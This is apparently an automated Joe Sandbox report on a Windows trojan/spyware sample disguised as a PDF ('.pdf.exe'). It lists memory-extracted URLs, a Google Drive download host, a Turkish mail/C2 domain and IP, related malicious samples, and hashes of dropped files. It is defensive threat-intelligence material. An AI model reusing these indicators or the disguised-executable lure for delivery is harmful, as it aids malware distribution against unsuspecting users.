                                      http://crl.ssc.lt/root-b/cacrl.crl0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      http://web.ncdc.gov.sa/crl/nrcacomb1.crl0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      http://www.certicamara.com/dpc/0ZCasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                        high
                                        http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0GCasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        unknown
                                        http://crl.pki.wellsfargo.com/wsprca.crl0CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                          high
                                          https://wwww.certigna.fr/autorites/0mCasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          http://www.dnie.es/dpc0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://wwwCasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          http://ca.mtin.es/mtin/DPCyPoliticas0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          https://www.anf.es/AC/ANFServerCA.crl0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                            high
                                            https://doc-08-2c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8oCasPol.exe, 00000005.00000003.1498679622.0000000001051000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5862577944.0000000001069000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5860229656.0000000001009000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1503338322.0000000001068000.00000004.00000020.00020000.00000000.sdmpfalse
                                              high
                                              http://nsis.sf.net/NSIS_ErrorError008s06523610054680b6011375030062022.pdf.exefalse
                                                high
                                                http://www.globaltrust.info0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                unknown
                                                http://certificates.starfieldtech.com/repository/1604CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  high
                                                  https://crl.anf.es/AC/ANFServerCA.crl0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    high
                                                    https://doc-08-2c-docs.googleusercontent.com/CasPol.exe, 00000005.00000002.5859154518.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1502986633.0000000001038000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      high
                                                      http://ac.economia.gob.mx/last.crl0GCasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      https://www.catcert.net/verarrelCasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.disig.sk/ca0fCasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      unknown
                                                      http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        high
                                                        http://www.e-szigno.hu/RootCA.crlCasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          high
                                                          http://www.sk.ee/juur/crl/0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          http://crl.chambersign.org/chambersignroot.crl0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          http://crl.xrampsecurity.com/XGCA.crl0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          http://certs.oati.net/repository/OATICA2.crl0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          http://crl.oces.trust2408.com/oces.crl0CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          unknown
                                                          https://eca.hinet.net/repository0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            high
                                                            http://crl.ssc.lt/root-a/cacrl.crl0CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            http://certs.oaticerts.com/repository/OATICA2.crlCasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            http://www.trustdst.com/certificates/policy/ACES-index.html0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            http://certs.oati.net/repository/OATICA2.crt0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            http://www.accv.es00CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            http://www.pkioverheid.nl/policies/root-policy-G20CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            https://www.netlock.net/docsCasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            unknown
                                                            http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              high
                                                              http://www.e-trust.be/CPS/QNcertsCasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              http://ocsp.ncdc.gov.sa0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              http://fedir.comsign.co.il/crl/ComSignCA.crl0CasPol.exe, 00000005.00000002.5899915491.000000001F6B3000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              http://web.ncdc.gov.sa/crl/nrcaparta1.crlCasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              http://www.datev.de/zertifikat-policy-int0CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                high
                                                                http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                http://mail.ardsmmm.comCasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                https://repository.luxtrust.lu0CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                http://EbMTHD.comCasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                http://cps.chambersign.org/cps/chambersroot.html0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                http://www.acabogacia.org0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                unknown
                                                                http://ocsp.eca.hinet.net/OCSP/ocspG2sha20CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  high
                                                                  http://www.firmaprofesional.com/cps0CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    high
                                                                    http://www.uce.gub.uy/acrn/acrn.crl0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://ardsmmm.comCasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://crl.securetrust.com/SGCA.crl0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://www.agesic.gub.uy/acrn/acrn.crl0)CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://crl.securetrust.com/STCA.crl0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://www.rcsc.lt/repository0CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    http://www2.postsignum.cz/crl/psrootqca2.crl01CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    unknown
                                                                    https://web.certicamara.com/marco-legal0ZCasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      high
                                                                      • No. of IPs < 25%
                                                                      • 25% < No. of IPs < 50%
                                                                      • 50% < No. of IPs < 75%
                                                                      • 75% < No. of IPs
                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                      142.250.185.142
                                                                      drive.google.comUnited States
                                                                      15169GOOGLEUSfalse
                                                                      185.111.247.38
                                                                      ardsmmm.comTurkey
                                                                      209711MUVHOSTTRfalse
                                                                      142.250.185.225
                                                                      googlehosted.l.googleusercontent.comUnited States
                                                                      15169GOOGLEUSfalse
                                                                      Joe Sandbox Version:36.0.0 Rainbow Opal
                                                                      Analysis ID:743398
                                                                      Start date and time:2022-11-10 20:32:32 +01:00
                                                                      Joe Sandbox Product:CloudBasic
                                                                      Overall analysis duration:0h 13m 46s
                                                                      Hypervisor based Inspection enabled:false
                                                                      Report type:full
                                                                      Sample file name:008s06523610054680b6011375030062022.pdf.exe
                                                                      Cookbook file name:default.jbs
                                                                      Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                                      Run name:Suspected Instruction Hammering
                                                                      Number of analysed new started processes analysed:19
                                                                      Number of new started drivers analysed:0
                                                                      Number of existing processes analysed:0
                                                                      Number of existing drivers analysed:0
                                                                      Number of injected processes analysed:0
                                                                      Technologies:
                                                                      • HCA enabled
                                                                      • EGA enabled
                                                                      • HDC enabled
                                                                      • AMSI enabled
                                                                      Analysis Mode:default
                                                                      Analysis stop reason:Timeout
                                                                      Detection:MAL
                                                                      Classification:mal100.troj.spyw.evad.winEXE@6/8@3/3
                                                                      EGA Information:
                                                                      • Successful, ratio: 100%
                                                                      HDC Information:
                                                                      • Successful, ratio: 24.4% (good quality ratio 24%)
                                                                      • Quality average: 86.8%
                                                                      • Quality standard deviation: 21.3%
                                                                      HCA Information:
                                                                      • Successful, ratio: 97%
                                                                      • Number of executed functions: 62
                                                                      • Number of non-executed functions: 116
                                                                      Cookbook Comments:
                                                                      • Found application associated with file extension: .exe
                                                                      • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                      • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
                                                                      • Excluded IPs from analysis (whitelisted): 20.93.58.141, 209.197.3.8
                                                                      • Excluded domains from analysis (whitelisted): wd-prod-cp-eu-north-3-fe.northeurope.cloudapp.azure.com, spclient.wg.spotify.com, client.wns.windows.com, wdcpalt.microsoft.com, fs.microsoft.com, login.live.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, wd-prod-cp.trafficmanager.net, wu-bg-shim.trafficmanager.net
                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                      • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                      • Report size getting too big, too many NtSetInformationFile calls found.
                                                                      No simulations
                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      185.111.247.38WGOc4eHYqX.exeGet hashmaliciousBrowse
                                                                      • www.hayvankayit.com/sh2m/?aFNHz8=cNfyXFNZYTxXVdJgSPZb9ctd0uEfZ30zjgzntNL74glxmD2XugbINOL2mq3Go9vGUdg3zggbtQ==&7nr=4h_HW2YXqHOPjp8P
                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      MUVHOSTTRWyciag_26_08102045800000190201217926.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      New Order.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      008s06523610054680b6011375030062022.pdf.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      206617814-044211-sanlccjavap0004-8487.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      008s06523610054407b6011375030062022.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      Facturas Pagadas al Vencimiento.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      008s06523610054680b6011375030062022.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      Electro Berma PEDIDO N#U00ba 66552022 de fecha 25-05-2022.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      3448s0657610032230b60113125662022.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      TUR44789999GG255666BANK.vbsGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      Factura.vbsGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      3448s0657610032230b60113125662022.vbsGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      25-7-2022-25-7-2022.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      25-7-2022-25-7-2022.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      rDFOYkcPV6.dllGet hashmaliciousBrowse
                                                                      • 185.82.220.173
                                                                      Recibo de pagamento.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      200255435-033245-sanlccjavap0003-1.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      Recibo de pagamento.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      Recibo de pagamento.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      200255435-033245-sanlccjavap0003-1.exeGet hashmaliciousBrowse
                                                                      • 185.111.247.38
                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      37f463bf4616ecd445d4a1937da06e19http://www.ur69098900.ur.nvisiontechno.com/#.aHR0cHM6Ly9zdG9yYWdlYXBpLmZsZWVrLmNvLzg2MmUyYjMxLWRkMzctNGM3ZC04N2MwLWNlNzE0ZjgzN2Y4ZC1idWNrZXQvb3Vycy5odG1sI3NhbGVzdGF4QHVyLmNvbQGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      https://8oc9siq.betamediagroup.com.ng/8u5ce4.8oc9siq#Y3N1bW5lckBzYWZldHltYXJraW5nLm5ldA==Get hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      documentos DHL.Pdf.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Factura.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      statement.htmGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Remittace Advice - Paper document number - 1237811 (1).pdf.htmlGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      9gZFIWeV47.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Benefits_Eligibility_PAYMENT1007578.htmlGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      HSBC Payment Advice.com.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fmail.bostania.com%2fmanagement.html%3fscroll%3dsyaklin%40noch.org&c=E,1,_dItuzHyKRUdDnpFPAKnbdq3C2uxTh1kaqK1nsApzAatirvYRtbwEOCZj3JaMfkUWgDtZefn44TlSdPmL-lhbkrkVgTVCICNghR-SDRkjzZJ8jh1W4sr7i-ILw,,&typo=1Get hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Signedcontract-07826.docx.htmlGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      AutoUpdater.jsGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      AutoUpdater.jsGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      https://1drv.ms/o/s!BBc55xLVu6BBrHk8Y3FAwf9fJzZb?e=ycKJMSZa3kWeLk1oGih-8w&at=9Get hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      file.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      https://download-file.documenandfiles.com/docs.php?email=info@ptsystemsautomation.comGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Greenwayhealth-Quote.htmGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Orden de compra #F045678.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      documentos DHL.exeGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      Factura_987437.vbsGet hashmaliciousBrowse
                                                                      • 142.250.185.142
                                                                      • 142.250.185.225
                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                      C:\Users\user\AppData\Local\Temp\nsu6C45.tmp\System.dll008s06523610054680b6011375030062022.pdf.exeGet hashmaliciousBrowse
                                                                        Wyciag_26_08102045800000190201217926.exeGet hashmaliciousBrowse
                                                                          Wyciag_26_08102045800000190201217926.exeGet hashmaliciousBrowse
                                                                            008s06523610054680b6011375030062022.pdf.exeGet hashmaliciousBrowse
                                                                              008s06523610054680b6011375030062022.pdf.exeGet hashmaliciousBrowse
                                                                                Hesap Hareketleri 09-11-2022.exeGet hashmaliciousBrowse
                                                                                  206617814-044211-sanlccjavap0004-8487.exeGet hashmaliciousBrowse
                                                                                    Hesap Hareketleri 09-11-2022.exeGet hashmaliciousBrowse
                                                                                      206617814-044211-sanlccjavap0004-8487.exeGet hashmaliciousBrowse
                                                                                        WK1392587588.exeGet hashmaliciousBrowse
                                                                                          WK1392587588.exeGet hashmaliciousBrowse
                                                                                            WK1392587588.exeGet hashmaliciousBrowse
                                                                                              WK1392587588.exeGet hashmaliciousBrowse
                                                                                                https://repo.anaconda.com/archive/Anaconda3-2022.10-Windows-x86_64.exeGet hashmaliciousBrowse
                                                                                                  xnCHiqBdgn.exeGet hashmaliciousBrowse
                                                                                                    xnCHiqBdgn.exeGet hashmaliciousBrowse
                                                                                                      3fiUnk3KKz.exeGet hashmaliciousBrowse
                                                                                                        3fiUnk3KKz.exeGet hashmaliciousBrowse
                                                                                                          yVtdqWv5dw.exeGet hashmaliciousBrowse
                                                                                                            OtOeDC1ET3.exeGet hashmaliciousBrowse
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (1082), with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1142
                                                                                                              Entropy (8bit):5.015103574590483
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:24:Jdt4JiNK+bIgYy5/iNagd/iNmvgd/iNQgdxvW0WiEguU:3SgK+bIgYysag4mvg4Qgj5yU
                                                                                                              MD5:27DF40784A7E0E796890C29CA77C3665
                                                                                                              SHA1:BCD45360E4B7305CBCD80C562B763F59F249FD9D
                                                                                                              SHA-256:1A70066E4802EF9B6227C1D0253A43A28AE9BFD347A40B5DE3C9E10335CF899A
                                                                                                              SHA-512:0966D132598F168843C88BDCB9304D6ECA5FBBA6D8BFE8EED3E61DB961E35E672FA69EC3D840125CE7E3201405DEE325C8897EC8B40BA2EAD5DBBB857581E271
                                                                                                              Malicious:false
                                                                                                              Reputation:moderate, very likely benign file
                                                                                                              Preview:.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><dependency><dependentAssembly><assemblyIdentity type="win32" name="NeroAPIFiles" version="17.0.0.0" processorArchitecture="x86"></assemblyIdentity></dependentAssembly></dependency><dependency><dependentAssembly><assemblyIdentity type="win32" name="AudioPluginMgr" version="17.0.0.0" processorArchitecture="x86"></assemblyIdentity></dependentAssembly></dependency><dependency><dependentAssembly><assemblyIdentity type="win32" name="SMC" version="17.0.0.0" processorArchitecture="x86"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges>
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):130548
                                                                                                              Entropy (8bit):7.998714728075468
                                                                                                              Encrypted:true
                                                                                                              SSDEEP:3072:lXjSYIQ1TTYp+hCcF7cRrd2xzOS0R+Sl+ix6g214B1:UYIMqAFYRrMxz+5lN6g2O
                                                                                                              MD5:605EEEBFEC7DDDD26E9D0557A0B33F7D
                                                                                                              SHA1:2258081F70D95AC0C90C4F3C4661B7F08D15B936
                                                                                                              SHA-256:050B64903B102A239B8F4B748F7EF0066DFBF296EF49DE5E7B5C33D4BFC4F5AF
                                                                                                              SHA-512:7082BD3E585E52E2D96A856B1373A94CAF9E937FF0E1D05C5D91B623A5A809E671AE791AD2FF8DC860A85BFBB093A3EFDC93B08408655F0E37C55FFD50B11A8B
                                                                                                              Malicious:false
                                                                                                              Preview:..;.b..5..C.x|..d..-.1u.....4o..^..2s.,..:.......:......].a...>....7cc2..t~....(HR..0..@.....^........BW.x.O.......Xs.Z.Y..X.SQ...o......m.m..P.f..y..H...:...=.<.0x,...l$.x..X]..bc ....ggQ.....D}..6.{...el.l.E.........=1......J...2.y^...N.r*r.PR;#...t.e...~..Ro...(..j...$......N.......4.........g_.GQ.DReJh.9...K..=. .\......H....a!._^...M.j8........pBrZ...2.5now..`o..MN.....dR.2.R..P.Zt.....M... ...x..a.....E.&..C>.v.....^.H.Gy...-.&...l.A.xj...&..:.i .?..b.V.E."...w|.up'........%V.@...Py.`..4..V...$.).y._-G...a...3...2....`.f.I.}iu.V$..gWY..D.........Q..[...R.....(?G.....p..jo.F..W.U.S....W.i".2H..a.3..+gHQ.....?euG.n.a............#Y.. L...]^.*...{. .s..Ul..).|5..;.......vU/..&.-..F#\.Oi......|...[B.........:@I.(...u...G]+..[.O....Gn.?6...f..F..J........P'&.=.;..........,..DG.6h~.i..... ...;).HSY.......O..\ .1E.3<....u0.q&A.9....@c.-.t.s..c...|L..Qa6....0.:.w...i...n..8....M.Q.......(..K3....)........c.E...x......^.....~..tQ.D..l..o.3
                                                                                                              Process:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):188532
                                                                                                              Entropy (8bit):6.75012113704116
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:8vTpdKeKHwhYjqioCYYsdKmfaZUgam7DzrUFvy6:/0iq99fqa6UV
                                                                                                              MD5:9E27FD99B367499DC343CF7B882FB6F0
                                                                                                              SHA1:84BEEB251C02ED6BFB36B0E2089CA037ECC02C2D
                                                                                                              SHA-256:0D8CD7DCD00EF10AADB96E113209BCC3CECEB2E61F108F5CAC2CD46CC8C881C6
                                                                                                              SHA-512:B9B6DE7AFEE13A2AC3454A13BD7FAABD9EC1499B133B7081B5627C62AB9BC55976F7FEB3CBECE4E0ED2BEECEE22A50976E92ACC3E2B7233ED750E7FCC3D13B8F
                                                                                                              Malicious:false
